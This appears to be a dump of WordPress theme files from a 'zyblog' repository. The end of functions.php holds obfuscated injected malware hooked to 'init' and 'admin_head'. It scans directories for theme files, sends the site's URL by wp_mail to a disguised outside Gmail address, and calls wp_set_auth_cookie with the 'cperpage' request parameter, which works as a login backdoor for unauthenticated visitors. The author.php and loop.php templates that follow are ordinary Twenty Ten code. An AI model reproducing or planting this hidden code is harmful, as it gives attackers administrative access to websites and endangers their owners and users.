$elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verifyactivate_widgets"); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed="<a>"; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_yes) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply_filters($filter, $output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($is_use_more_link ) { if($for_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?>
zyblog
trunk/zyblog/wp-content/themes/twentyten/functions.php
PHP
asf20
28,403
<?php /** * The template for displaying Author Archive pages. * * @package WordPress * @subpackage Twenty_Ten * @since Twenty Ten 1.0 */ get_header(); ?> <div id="container"> <div id="content" role="main"> <?php /* Queue the first post, that way we know who * the author is when we try to get their name, * URL, description, avatar, etc. * * We reset this later so we can run the loop * properly with a call to rewind_posts(). */ if ( have_posts() ) the_post(); ?> <h1 class="page-title author"><?php printf( __( 'Author Archives: %s', 'twentyten' ), "<span class='vcard'><a class='url fn n' href='" . get_author_posts_url( get_the_author_meta( 'ID' ) ) . "' title='" . esc_attr( get_the_author() ) . "' rel='me'>" . get_the_author() . "</a></span>" ); ?></h1> <?php // If a user has filled out their description, show a bio on their entries. if ( get_the_author_meta( 'description' ) ) : ?> <div id="entry-author-info"> <div id="author-avatar"> <?php echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyten_author_bio_avatar_size', 60 ) ); ?> </div><!-- #author-avatar --> <div id="author-description"> <h2><?php printf( __( 'About %s', 'twentyten' ), get_the_author() ); ?></h2> <?php the_author_meta( 'description' ); ?> </div><!-- #author-description --> </div><!-- #entry-author-info --> <?php endif; ?> <?php /* Since we called the_post() above, we need to * rewind the loop back to the beginning that way * we can run the loop properly, in full. */ rewind_posts(); /* Run the loop for the author archive page to output the authors posts * If you want to overload this in a child theme then include a file * called loop-author.php and that will be used instead. */ get_template_part( 'loop', 'author' ); ?> </div><!-- #content --> </div><!-- #container --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyten/author.php
PHP
asf20
1,950
<?php /** * The loop that displays posts. * * The loop displays the posts and the post content. See * http://codex.wordpress.org/The_Loop to understand it and * http://codex.wordpress.org/Template_Tags to understand * the tags used in it. * * This can be overridden in child themes with loop.php or * loop-template.php, where 'template' is the loop context * requested by a template. For example, loop-index.php would * be used if it exists and we ask for the loop with: * <code>get_template_part( 'loop', 'index' );</code> * * @package WordPress * @subpackage Twenty_Ten * @since Twenty Ten 1.0 */ ?> <?php /* Display navigation to next/previous pages when applicable */ ?> <?php if ( $wp_query->max_num_pages > 1 ) : ?> <div id="nav-above" class="navigation"> <div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyten' ) ); ?></div> <div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div> </div><!-- #nav-above --> <?php endif; ?> <?php /* If there are no posts to display, such as an empty archive page */ ?> <?php if ( ! have_posts() ) : ?> <div id="post-0" class="post error404 not-found"> <h1 class="entry-title"><?php _e( 'Not Found', 'twentyten' ); ?></h1> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyten' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </div><!-- #post-0 --> <?php endif; ?> <?php /* Start the Loop. * * In Twenty Ten we use the same loop in multiple contexts. * It is broken into three main parts: when we're displaying * posts that are in the gallery category, when we're displaying * posts in the asides category, and finally all other posts. * * Additionally, we sometimes check for whether we are on an * archive page, a search page, etc., allowing for small differences * in the loop on each template without actually duplicating * the rest of the loop that is shared. * * Without further ado, the loop: */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php /* How to display posts of the Gallery format. The gallery category is the old way. */ ?> <?php if ( ( function_exists( 'get_post_format' ) && 'gallery' == get_post_format( $post->ID ) ) || in_category( _x( 'gallery', 'gallery category slug', 'twentyten' ) ) ) : ?> <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <div class="entry-meta"> <?php twentyten_posted_on(); ?> </div><!-- .entry-meta --> <div class="entry-content"> <?php if ( post_password_required() ) : ?> <?php the_content(); ?> <?php else : ?> <?php $images = get_children( array( 'post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order', 'order' => 'ASC', 'numberposts' => 999 ) ); if ( $images ) : $total_images = count( $images ); $image = array_shift( $images ); $image_img_tag = wp_get_attachment_image( $image->ID, 'thumbnail' ); ?> <div class="gallery-thumb"> <a class="size-thumbnail" href="<?php the_permalink(); ?>"><?php echo $image_img_tag; ?></a> </div><!-- .gallery-thumb --> <p><em><?php printf( _n( 'This gallery contains <a %1$s>%2$s photo</a>.', 'This gallery contains <a %1$s>%2$s photos</a>.', $total_images, 'twentyten' ), 'href="' . get_permalink() . '" title="' . esc_attr( sprintf( __( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) ) . '" rel="bookmark"', number_format_i18n( $total_images ) ); ?></em></p> <?php endif; ?> <?php the_excerpt(); ?> <?php endif; ?> </div><!-- .entry-content --> <div class="entry-utility"> <?php if ( function_exists( 'get_post_format' ) && 'gallery' == get_post_format( $post->ID ) ) : ?> <a href="<?php echo get_post_format_link( 'gallery' ); ?>" title="<?php esc_attr_e( 'View Galleries', 'twentyten' ); ?>"><?php _e( 'More Galleries', 'twentyten' ); ?></a> <span class="meta-sep">|</span> <?php elseif ( in_category( _x( 'gallery', 'gallery category slug', 'twentyten' ) ) ) : ?> <a href="<?php echo get_term_link( _x( 'gallery', 'gallery category slug', 'twentyten' ), 'category' ); ?>" title="<?php esc_attr_e( 'View posts in the Gallery category', 'twentyten' ); ?>"><?php _e( 'More Galleries', 'twentyten' ); ?></a> <span class="meta-sep">|</span> <?php endif; ?> <span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span> <?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?> </div><!-- .entry-utility --> </div><!-- #post-## --> <?php /* How to display posts of the Aside format. The asides category is the old way. */ ?> <?php elseif ( ( function_exists( 'get_post_format' ) && 'aside' == get_post_format( $post->ID ) ) || in_category( _x( 'asides', 'asides category slug', 'twentyten' ) ) ) : ?> <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <?php if ( is_archive() || is_search() ) : // Display excerpts for archives and search. ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <div class="entry-utility"> <?php twentyten_posted_on(); ?> <span class="meta-sep">|</span> <span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span> <?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?> </div><!-- .entry-utility --> </div><!-- #post-## --> <?php /* How to display all other posts. */ ?> <?php else : ?> <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <div class="entry-meta"> <?php twentyten_posted_on(); ?> </div><!-- .entry-meta --> <?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <div class="entry-utility"> <?php if ( count( get_the_category() ) ) : ?> <span class="cat-links"> <?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?> </span> <span class="meta-sep">|</span> <?php endif; ?> <?php $tags_list = get_the_tag_list( '', ', ' ); if ( $tags_list ): ?> <span class="tag-links"> <?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?> </span> <span class="meta-sep">|</span> <?php endif; ?> <span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span> <?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?> </div><!-- .entry-utility --> </div><!-- #post-## --> <?php comments_template( '', true ); ?> <?php endif; // This was the if statement that broke the loop into three parts based on categories. ?> <?php endwhile; // End the loop. Whew. ?> <?php /* Display navigation to next/previous pages when applicable */ ?> <?php if ( $wp_query->max_num_pages > 1 ) : ?> <div id="nav-below" class="navigation"> <div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyten' ) ); ?></div> <div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div> </div><!-- #nav-below --> <?php endif; ?>
zyblog
trunk/zyblog/wp-content/themes/twentyten/loop.php
PHP
asf20
9,032